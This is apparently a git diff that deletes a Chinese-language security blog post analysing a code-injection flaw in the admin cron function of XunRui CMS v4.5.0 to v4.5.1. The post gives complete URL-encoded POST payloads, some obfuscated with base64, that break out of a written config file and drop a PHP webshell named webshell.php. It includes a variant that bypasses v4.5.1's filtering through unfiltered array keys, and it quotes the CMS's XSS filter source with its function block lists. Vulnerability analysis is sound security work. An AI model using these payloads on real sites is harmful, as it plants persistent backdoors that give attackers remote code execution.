-
 -
if (IS_AJAX_POST){}
-
-
-

然后进入一个if分支语句,当IS_AJAX_POST时,则执行相关的写入文件的代码,否则则跳过写入文件,显示Cron的添加页面,随即结束add()函数,IS_AJAX_POST定义为当收到post请求且post的内容不为空时即返回TRUE,否则返回FALSE

-
- -
-
1
-
 -
$post = \Phpcmf\Service::L('input')->post('data', true);
-
-
-

if语句中,首先\Phpcmf\Service::L('input')->post('data', true)该代码通过调用Input.php文件里定义的Input类的post()函数,在接收到post请求且存在key为data时进行xss清洗然后返回,否则直接返回false,然后赋值给$post,xss清洗的代码比较长,我放在本文章的最后,此处的xss清洗可以轻易的绕过,从而达到写入我们想要的任意内容

-
- -
-
1
-2
-
 -
file_put_contents(WRITEPATH.'config/cron.php',
-            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');
-
-
-

if语句中,接收完post请求,即将接收到的内容通过json编码后写入WRITEPATH.'config/cron.php'文件,可控的写入点位于字符串$json的赋值中,且在两个'的包裹中,此处是漏洞产生的主要原因,未对用户的输入做足够的判断或清洗即写入相应的文件

-
- -
-
1
-2
-
 -
\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
-$this->_json(1, dr_lang('操作成功'));
-
-
-

if语句的最后,写入日志并显示操作结果,随即显示cron添加界面,add()函数结束

-

绕过json编码和xss清洗以及WRITEPATH.'config/cron.php'文件中'的包裹

-

通过前文的分析,我们可以发现,add()函数对用户的输入基本没有特殊的防范,只要绕过xss清洗和json编码以及WRITEPATH.'config/cron.php'文件中'的包裹即可写入我们想要的任意内容

-

以下是我的一种方法,在WRITEPATH.'config/cron.php'文件中写入了当运行WRITEPATH.'config/cron.php'文件时在网站根目录写一个名为webshell.php,内容为<?php eval(@$_POST["password"]);?>的文件的php语句

-

注意下述操作需要先获取csrf_test_name,获取方法:

-

1.访问http://host:port/Admin.php?c=Cron&m=add

-

2.抓包当点击"保存"时发送的post包

-

3.post的内容里的csrf_test_name即可一直用作一段时间内的csrf_test_name

-

获取到csrf_test_name之后,给http://host:port/Admin.php?c=Cron&m=addpost以下内容:

-
- -
-
1
-
 -
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data%5B1%5D%5Bname%5D=&data%5B1%5D%5Bcode%5D=%5B';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php%20eval'.base64_decode('KA==').'@$_POST%5B'.base64_decode('Ig==').'password'.base64_decode('Ig==').'%5D'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;'%5D
-
-
-

经过url解码后为:

-
- -
-
1
-
 -
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('&gt;'));return;']
-
-
-

绕过json编码和xss清洗后,写入WRITEPATH.'config/cron.php'文件中的内容为:

-
- -
-
1
-2
-
 -
<?php defined('FCPATH') OR exit('No direct script access allowed');
- $json='{"1":{"name":"","code":"[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']"}}';
-
-
-

此post内容中的关键处为

-
- -
-
1
-
 -
[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('&gt;'));return;']
-
-
-

绕过json编码和xss清洗后,此处的内容变为:

-
- -
-
1
-
 -
[';file_put_contents('webshell.php',htmlspecialchars_decode('&lt;').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']
-
-
-

闭合了WRITEPATH.'config/cron.php'文件中'的包裹

-

包含写入的WRITEPATH.'config/cron.php'文件

-

通过前面对add()函数的分析,调用add()函数时会首先在WRITEPATH.'config/cron.php'文件存在时包含WRITEPATH.'config/cron.php'文件,因此直接访问http://host:port/Admin.php?c=Cron&m=add即可

-

访问http://host:port/Admin.php?c=Cron&m=add后,在网站根目录下会生成一个名为webshell.php的文件,文件内容为<?php eval(@$_POST["password"]);?>

-

版本v4.5.1

-

add()函数的代码:

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-11
-12
-13
-14
-15
-16
-17
-18
-19
-20
-21
-22
-23
-24
-25
-26
-27
-28
-29
-30
-31
-32
-33
-34
-35
-36
-37
-
 -
// 任务类型
-public function add() {
-
-    $json = '';
-    if (is_file(WRITEPATH.'config/cron.php')) {
-        require WRITEPATH.'config/cron.php';
-    }
-    $data = json_decode($json, true);
-
-    if (IS_AJAX_POST) {
-
-        $post = \Phpcmf\Service::L('input')->post('data');
-        if ($post && is_array($post)) {
-            foreach ($post as $key => $t) {
-                if (!$t || !$t['name']) {
-                    unset($post[$key]);
-                }
-                $post[$key]['name'] = dr_safe_filename($t['name']);
-                $post[$key]['code'] = dr_safe_filename($t['code']);
-            }
-        } else {
-            $post = [];
-        }
-
-        file_put_contents(WRITEPATH.'config/cron.php',
-            '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');
-
-        \Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
-
-        $this->_json(1, dr_lang('操作成功'));
-    }
-
-    \Phpcmf\Service::V()->assign([
-        'data' => $data,
-    ]);
-    \Phpcmf\Service::V()->display('cron_add.html');
-}
-
-
-

版本v4.5.1相较之前的版本,在获取post的内容时,修改了如下的代码:

-
- -
-
1
-
 -
$post = \Phpcmf\Service::L('input')->post('data',true);
-
-
-

改为

-
- -
-
1
-
 -
$post = \Phpcmf\Service::L('input')->post('data');
-
-
-

post()函数的第二个参数为是否进行xss清洗,因为post()函数第二个参数的默认值为true,所以这处改动理论上不造成任何影响

-

同时,在获取post的内容后,进行WRITEPATH.'config/cron.php'文件的写入前,增加了如下的代码:

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-11
-
 -
if ($post && is_array($post)) {
-    foreach ($post as $key => $t) {
-        if (!$t || !$t['name']) {
-            unset($post[$key]);
-        }
-        $post[$key]['name'] = dr_safe_filename($t['name']);
-        $post[$key]['code'] = dr_safe_filename($t['code']);
-    }
-} else {
-    $post = [];
-}
-
-
-

上述代码先判断post的内容是否存在且为数组,不符合则将post的内容置为空数组,满足则遍历post的内容,如果post的内容里某个键值对的value不存在或某个键值对的value的'name'key的value不存在,则销毁该键值对,然后将每个键值对的value的'name'key和'code'key通过dr_safe_filename()函数清洗,以下为dr_safe_filename()函数的代码:

-
- -
-
 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
-10
-
 -
/**
- * 安全过滤文件及目录名称函数
- */
-function dr_safe_filename($string) {
-    return str_replace(
-        ['..', "/", '\\', ' ', '<', '>', "{", '}', ';', ':', '[', ']', '\'', '"', '*', '?'],
-        '',
-        (string)$string
-    );
-}
-
-
-

绕过json编码,xss清洗,dr_safe_filename()函数的过滤和WRITEPATH.‘config/cron.php’文件中’的包裹

-

此处我们先不尝试绕过dr_safe_filename()函数,而是尝试另一个极其简单的方法

-

通过对xss清洗函数的审计和版本v4.5.1add()函数新增加的代码的审计,可以发现对于数组的key没有任何过滤,包括多维数组的每一维度的key,所以此处可以通过修改post的内容中的key来写入我们想要的任意内容

-

以下是我的一种方法,整个漏洞利用过程中,除了上述所述的关于add()函数中增加的对键值对的value的过滤,其他流程相较于之前的版本没有任何变化:

-

获取到csrf_test_name之后,给http://host:port/Admin.php?c=Cron&m=addpost以下内容:

-
- -
-
1
-
 -
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data%5B1%5D%5Bname%5D=1&data%5B1%5D%5Bcode":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'%5D=1
-
-
-

经过url解码后为:

-
- -
-
1
-
 -
isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1
-
-
-

绕过json编码和xss清洗以及dr_safe_filename()函数的过滤后,写入WRITEPATH.'config/cron.php'文件中的内容为:

-
- -
-
1
-2
-
 -
<?php defined('FCPATH') OR exit('No direct script access allowed');
- $json='{"1":{"name":"1","code\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'":"1","code":""}}';
-
-
-

此post内容中的关键处为

-
- -
-
1
-
 -
":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'
-
-
-

绕过json编码和xss清洗以及dr_safe_filename()函数的过滤后,此处的内容变为:

-
- -
-
1
-
 -
\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'
-
-
-

闭合了WRITEPATH.'config/cron.php'文件中'的包裹

-

包含写入的WRITEPATH.'config/cron.php'文件

-

通过前面对add()函数的分析,调用add()函数时会首先在WRITEPATH.'config/cron.php'文件存在时包含WRITEPATH.'config/cron.php'文件,因此直接访问http://host:port/Admin.php?c=Cron&m=add即可

-

访问http://host:port/Admin.php?c=Cron&m=add后,在网站根目录下会生成一个名为webshell.php的文件,文件内容为<?php eval(@$_POST["password"]);?>

-

在版本v4.5.1之后

-

add()函数被删除

-

POC && EXP

-

很简单,我就不写了,不过注意目标站点的cms可能有坑,比如版本号低但实际的站点文件已经更新过了

-

POC

-

登录后台,获取版本号,然后验证一下是否为管理员或具有"应用”->“任务队列"的管理权限即可

-

EXP

-

登录后台,然后post写入恶意代码,最后get访问包含恶意文件即可

-

xss_clean()函数

-
- -
-
  1
-  2
-  3
-  4
-  5
-  6
-  7
-  8
-  9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
-100
-101
-102
-103
-104
-105
-106
-107
-108
-109
-110
-111
-112
-113
-114
-115
-116
-117
-118
-119
-120
-121
-122
-123
-124
-125
-126
-127
-128
-129
-130
-131
-132
-133
-134
-135
-136
-137
-138
-139
-140
-141
-142
-143
-144
-145
-146
-147
-148
-149
-150
-151
-152
-153
-154
-155
-156
-157
-158
-159
-160
-161
-162
-163
-164
-165
-166
-167
-168
-169
-170
-171
-172
-173
-174
-175
-176
-177
-178
-179
-180
-181
-182
-183
-184
-185
-186
-187
-188
-189
-190
-191
-192
-193
-194
-195
-196
-197
-198
-199
-200
-201
-202
-203
-204
-205
-206
-207
-208
-209
-210
-211
-212
-213
-214
-215
-216
-217
-218
-219
-220
-221
-222
-223
-224
-225
-226
-227
-228
-229
-230
-231
-232
-233
-234
-235
-236
-237
-238
-239
-240
-241
-242
-243
-244
-245
-246
-247
-248
-249
-250
-251
-252
-253
-254
-255
-256
-257
-258
-259
-260
-261
-262
-263
-264
-265
-266
-267
-268
-269
-270
-271
-272
-273
-274
-275
-276
-277
-278
-279
-280
-281
-282
-283
-284
-285
-286
-287
-288
-289
-290
-291
-292
-293
-294
-295
-296
-297
-298
-299
-300
-301
-302
-303
-304
-305
-306
-307
-308
-309
-310
-311
-312
-313
-314
-315
-316
-317
-318
-319
-320
-321
-322
-323
-324
-325
-326
-327
-328
-329
-330
-331
-332
-333
-334
-335
-336
-337
-338
-339
-340
-341
-342
-343
-344
-345
-346
-347
-348
-349
-350
-351
-352
-353
-354
-355
-356
-357
-358
-359
-360
-361
-362
-363
-364
-365
-366
-367
-368
-369
-370
-371
-372
-373
-374
-375
-376
-377
-378
-379
-380
-381
-382
-383
-384
-385
-386
-387
-388
-389
-390
-391
-392
-393
-394
-395
-396
-397
-398
-399
-400
-401
-402
-403
-404
-405
-406
-
 -
<?php namespace Phpcmf\Library;
-/**
- * {{www.xunruicms.com}}
- * {{迅睿内容管理框架系统}}
- * 本文件是框架系统文件，二次开发时不可以修改本文件，可以通过继承类方法来重写此文件
- **/
-
-/**
- * 安全过滤
- */
-class Security {
-
-	/**
-	 * List of sanitize filename strings
-	 *
-	 * @var	array
-	 */
-	public $filename_bad_chars = [
-		'../', '<!--', '-->', '<', '>',
-		"'", '"', '&', '$', '#',
-		'{', '}', '[', ']', '=',
-		';', '?', '%20', '%22',
-		'%3c',		// <
-		'%253c',	// <
-		'%3e',		// >
-		'%0e',		// >
-		'%28',		// (
-		'%29',		// )
-		'%2528',	// (
-		'%26',		// &
-		'%24',		// $
-		'%3f',		// ?
-		'%3b',		// ;
-		'%3d'		// =
-    ];
-
-    protected $naughty_tags  = [];
-
-    protected $evil_attributes = [];
-
-	/**
-	 * Character set
-	 *
-	 * Will be overridden by the constructor.
-	 *
-	 * @var	string
-	 */
-	public $charset = 'UTF-8';
-
-	/**
-	 * XSS Hash
-	 *
-	 * Random Hash for protecting URLs.
-	 *
-	 * @var	string
-	 */
-	protected $_xss_hash;
-
-	/**
-	 * List of never allowed strings
-	 *
-	 * @var	array
-	 */
-	protected $_never_allowed_str =	[
-		'document.cookie' => '[xss_clean]',
-		'(document).cookie' => '[xss_clean]',
-		'document.write'  => '[xss_clean]',
-		'(document).write'  => '[xss_clean]',
-		'.parentNode'     => '[xss_clean]',
-		'.innerHTML'      => '[xss_clean]',
-		'-moz-binding'    => '[xss_clean]',
-		'<!--'            => '&lt;!--',
-		'-->'             => '--&gt;',
-		'<![CDATA['       => '&lt;![CDATA[',
-		'<comment>'	  => '&lt;comment&gt;',
-		'<%'              => '&lt;&#37;'
-    ];
-
-	// 替换前的处理
-	protected $_never_call_str = [
-        '&quot;javascript:'    => '&quot;javascript_xunruicms:',
-    ];
-
-	/**
-	 * List of never allowed regex replacements
-	 *
-	 * @var	array
-	 */
-	protected $_never_allowed_regex = [
-		'javascript\s*:',
-		'(\(?document\)?|\(?window\)?(\.document)?)\.(location|on\w*)',
-		'expression\s*(\(|&\#40;)', // CSS and IE
-		'vbscript\s*:', // IE, surprise!
-		'wscript\s*:', // IE
-		'jscript\s*:', // IE
-		'vbs\s*:', // IE
-		'Redirect\s+30\d',
-		"([\"'])+data\s*:[^\\1]*?base64[^\\1]*?,[^\\1]*?\\1?"
-    ];
-
-
-
-	// --------------------------------------------------------------------
-
-	/**
-	 * XSS Clean
-	 *
-	 * Sanitizes data so that Cross Site Scripting Hacks can be
-	 * prevented.  This method does a fair amount of work but
-	 * it is extremely thorough, designed to prevent even the
-	 * most obscure XSS attempts.  Nothing is ever 100% foolproof,
-	 * of course, but I haven't been able to get anything passed
-	 * the filter.
-	 *
-	 * Note: Should only be used to deal with data upon submission.
-	 *	 It's not something that should be used for general
-	 *	 runtime processing.
-	 *
-	 * @link	http://channel.bitflux.ch/wiki/XSS_Prevention
-	 * 		Based in part on some code and ideas from Bitflux.
-	 *
-	 * @link	http://ha.ckers.org/xss.html
-	 * 		To help develop this script I used this great list of
-	 *		vulnerabilities along with a few other hacks I've
-	 *		harvested from examining vulnerabilities in other programs.
-	 *
-	 * @param	string|string[]	$str		Input data
-	 * @param 	bool		$is_image	    严格的过滤
-	 * @return	string
-	 */
-	public function xss_clean($str, $is_image = FALSE)
-	{
-
-		if (is_numeric($str)) {
-			return $str;
-		} elseif (!$str) {
-	        return '';
-        }
-
-		// Is the string an array?
-		if (is_array($str))
-		{
-			foreach ($str as $key => &$value)
-			{
-				$str[$key] = $this->xss_clean($value, $is_image);
-			}
-
-			return $str;
-		}
-
-        if (json_encode( $str) === false) {
-            return '[xss_clean]'; // 判断含有乱码直接过滤为空
-        }
-
-        $this->naughty_tags = [
-            'alert', 'area', 'prompt', 'confirm', 'applet', 'audio', 'basefont', 'base', 'behavior', 'bgsound',
-            'blink', 'body',  'expression', 'form', 'frameset', 'frame', 'head', 'html', 'ilayer',
-            'input', 'button', 'select', 'isindex', 'layer', 'link', 'meta', 'keygen', 'object',
-            'plaintext', 'script', 'textarea', 'title', 'math',  'svg', 'xml', 'xss',
-            //'iframe', 'video', 'embed', 'style'  //排除过滤
-
-        ];
-        $this->evil_attributes = [
-            'on\w+', 'xmlns', 'formaction', 'form', 'xlink:href', 'FSCommand', 'seekSegmentTime'
-            //  ,'style' 排除过滤
-
-        ];
-
-        if ($is_image) {
-            // 严格的过滤
-            $this->naughty_tags = array_merge($this->naughty_tags, array('iframe', 'video', 'embed', 'style'));
-            $this->evil_attributes = array_merge($this->evil_attributes, array('style'));
-            /*
-             * URL Decode
-             *
-             * Just in case stuff like this is submitted:
-             *
-             * <a href="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">Google</a>
-             *
-             * Note: Use rawurldecode() so it does not remove plus signs
-             * */
-
-            if (stripos($str, '%') !== false)
-            {
-                do
-                {
-                    $oldstr = $str;
-                    $str = rawurldecode($str);
-                    $str = preg_replace_callback('#%(?:\s*[0-9a-f]){2,}#i', [$this, '_urldecodespaces'], $str);
-                }
-                while ($oldstr !== $str);
-                unset($oldstr);
-            }
-
-            /*
-             * Convert character entities to ASCII
-             *
-             * This permits our tests below to work reliably.
-             * We only convert entities that are within tags since
-             * these are the ones that will pose security problems.
-             */
-
-            // 不进行二次编码的xss过滤
-            $str = preg_replace_callback("/[^a-z0-9>]+[a-z0-9]+=([\'\"]).*?\\1/si", array($this, '_convert_attribute'), $str);
-            $str = preg_replace_callback('/<\w+.*/si', array($this, '_decode_entity'), $str);
-        }
-
-
-		// Remove Invisible Characters Again!
-		$str = remove_invisible_characters($str);
-
-		/*
-		 * Convert all tabs to spaces
-		 *
-		 * This prevents strings like this: ja	vascript
-		 * NOTE: we deal with spaces between characters later.
-		 * NOTE: preg_replace was found to be amazingly slow here on
-		 * large blocks of data, so we use str_replace.
-		 */
-		$str = str_replace("\t", ' ', $str);
-
-		// Capture converted string for later comparison
-		$converted_string = $str;
-
-		// Remove Strings that are never allowed
-		//$str = $this->_do_never_allowed($str);
-
-		/*
-		 * Makes PHP tags safe
-		 *
-		 * Note: XML tags are inadvertently replaced too:
-		 *
-		 * <?xml
-		 *
-		 * But it doesn't seem to pose a problem.
-		 */
-		if ($is_image)
-		{
-			// Images have a tendency to have the PHP short opening and
-			// closing tags every so often so we skip those and only
-			// do the long opening tags.
-			$str = preg_replace('/<\?(php)/i', '&lt;?\\1', $str);
-		}
-		else
-		{
-			$str = str_replace(['<?', '?'.'>'], ['&lt;?', '?&gt;'], $str);
-		}
-
-		/*
-		 * Compact any exploded words
-		 *
-		 * This corrects words like:  j a v a s c r i p t
-		 * These words are compacted back to their correct state.
-		 */
-		$words = [
-            'javascript', 'expression', 'vbscript', 'jscript', 'wscript',
-            'vbs', 'script', 'base64', 'applet', 'alert', 'document',
-            'write', 'cookie', 'window', 'confirm', 'prompt', 'eval'
-        ];
-
-		foreach ($words as $word)
-		{
-			$word = implode('\s*', str_split($word)).'\s*';
-
-			// We only want to do this when it is followed by a non-word character
-			// That way valid stuff like "dealer to" does not become "dealerto"
-			$str = preg_replace_callback('#('.substr($word, 0, -3).')(\W)#is', array($this, '_compact_exploded_words'), $str);
-		}
-
-		/*
-		 * Remove disallowed Javascript in links or img tags
-		 * We used to do some version comparisons and use of stripos(),
-		 * but it is dog slow compared to these simplified non-capturing
-		 * preg_match(), especially if the pattern exists in the string
-		 *
-		 * Note: It was reported that not only space characters, but all in
-		 * the following pattern can be parsed as separators between a tag name
-		 * and its attributes: [\d\s"\'`;,\/\=\(\x00\x0B\x09\x0C]
-		 * ... however, remove_invisible_characters() above already strips the
-		 * hex-encoded ones, so we'll skip them below.
-		 */
-		do
-		{
-			$original = $str;
-
-			if (preg_match('/<a/i', $str))
-			{
-				$str = preg_replace_callback('#<a(?:rea)?[^a-z0-9>]+([^>]*?)(?:>|$)#si', array($this, '_js_link_removal'), $str);
-			}
-
-			if (preg_match('/<img/i', $str))
-			{
-				$str = preg_replace_callback('#<img[^a-z0-9]+([^>]*?)(?:\s?/?>|$)#si', array($this, '_js_img_removal'), $str);
-			}
-
-			if (preg_match('/script|xss/i', $str))
-			{
-				$str = preg_replace('#</*(?:script|xss).*?>#si', '[xss_clean]', $str);
-			}
-		}
-		while ($original !== $str);
-		unset($original);
-
-		/*
-		 * Sanitize naughty HTML elements
-		 *
-		 * If a tag containing any of the words in the list
-		 * below is found, the tag gets converted to entities.
-		 *
-		 * So this: <blink>
-		 * Becomes: &lt;blink&gt;
-		 */
-		$pattern = '#'
-			.'<((?<slash>/*\s*)((?<tagName>[a-z0-9]+)(?=[^a-z0-9]|$)|.+)' // tag start and name, followed by a non-tag character
-			.'[^\s\042\047a-z0-9>/=]*' // a valid attribute character immediately after the tag would count as a separator
-			// optional attributes
-			.'(?<attributes>(?:[\s\042\047/=]*' // non-attribute characters, excluding > (tag close) for obvious reasons
-			.'[^\s\042\047>/=]+' // attribute characters
-			// optional attribute-value
-				.'(?:\s*=' // attribute-value separator
-					.'(?:[^\s\042\047=><`]+|\s*\042[^\042]*\042|\s*\047[^\047]*\047|\s*(?U:[^\s\042\047=><`]*))' // single, double or non-quoted value
-				.')?' // end optional attribute-value group
-			.')*)' // end optional attributes group
-			.'[^>]*)(?<closeTag>\>)?#isS';
-
-		// Note: It would be nice to optimize this for speed, BUT
-		//       only matching the naughty elements here results in
-		//       false positives and in turn - vulnerabilities!
-		do
-		{
-			$old_str = $str;
-			$str = preg_replace_callback($pattern, array($this, '_sanitize_naughty_html'), $str);
-		}
-		while ($old_str !== $str);
-		unset($old_str);
-
-		/*
-		 * Sanitize naughty scripting elements
-		 *
-		 * Similar to above, only instead of looking for
-		 * tags it looks for PHP and JavaScript commands
-		 * that are disallowed. Rather than removing the
-		 * code, it simply converts the parenthesis to entities
-		 * rendering the code un-executable.
-		 *
-		 * For example:	eval('some code')
-		 * Becomes:	eval&#40;'some code'&#41;
-		 */
-		$str = preg_replace(
-			'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)\((.*?)\)#si',
-			'\\1\\2&#40;\\3&#41;',
-			$str
-		);
-
-		// Same thing, but for "tag functions" (e.g. eval`some code`)
-		// See https://github.com/bcit-ci/CodeIgniter/issues/5420
-		$str = preg_replace(
-			'#(alert|prompt|confirm|cmd|passthru|eval|exec|expression|system|fopen|fsockopen|file|file_get_contents|readfile|unlink)(\s*)`(.*?)`#si',
-			'\\1\\2&#96;\\3&#96;',
-			$str
-		);
-
-		//最终清理
-        //
-        ////这增加了一点额外的预防措施
-        //
-        ////有东西通过了上面的过滤器
-		$str = $this->_do_never_allowed($str);
-
-
-        // now the only remaining whitespace attacks are \t, \n, and \r
-        $ra = ['onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'];
-        foreach ($ra as $t) {
-            $str = str_replace(' '.$t.'="', ' '.$t.'=', $str);
-        }
-
-		return $str;
-	}
-
-	// --------------------------------------------------------------------
-
-	/**
-	 * Do Never Allowed
-	 *
-	 * @used-by	CI_Security::xss_clean()
-	 * @param 	string
-	 * @return 	string
-	 */
-	protected function _do_never_allowed($str)
-	{
-
-        $str = str_replace(array_keys($this->_never_call_str), $this->_never_call_str, $str);
-		$str = str_replace(array_keys($this->_never_allowed_str), $this->_never_allowed_str, $str);
-
-		foreach ($this->_never_allowed_regex as $regex)
-		{
-			$str = preg_replace('#'.$regex.'#is', '_\\0', $str);
-		}
-
-		$str = str_replace($this->_never_call_str, array_keys($this->_never_call_str), $str);
-
-		return $str;
-	}
-
-
-}
-
-
-
-
- - -
- -
- - expliot-db - -
- - - -
- - - - - - - - - Licensed under CC BY-NC-SA 4.0 -
-
- - - -
- - - - - - - - - - - -
- - - - -
-
- © - - 2022 - - - 2023 Weltolk -
- -
- - 2u94 4 4un
- Built with Hugo
- Theme Stack designed by Jimmy -
-
- - - - - -
-
- - - - - diff --git "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png" "b/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png" deleted file mode 100644 index 070ecfed..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png" "b/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png" deleted file mode 100644 index 799b17cb..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db.d6d0f23494fcfe00d4fac72faebda90f_hud9700ca58d822386b8178068bd5ae476_8790_250x150_fill_box_smart1_3.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db.png" "b/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db.png" deleted file mode 100644 index 070ecfed..00000000 Binary files "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db.png" and /dev/null differ diff --git "a/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png" "b/p/\350\277\205\347\235\277cms-v4.5.0\345\210\260v4.5.1\345\211\215\345\217\260\344\273\243\347\240\201\346\263\250\345\205\245\346\274\217\346\264\236/expliot-db_hud9700ca58d822386b8178068bd5ae476_8790_120x120_fill_box_smart1_3.png" deleted file mode 100644 index f05890cc..00000000 Binary files 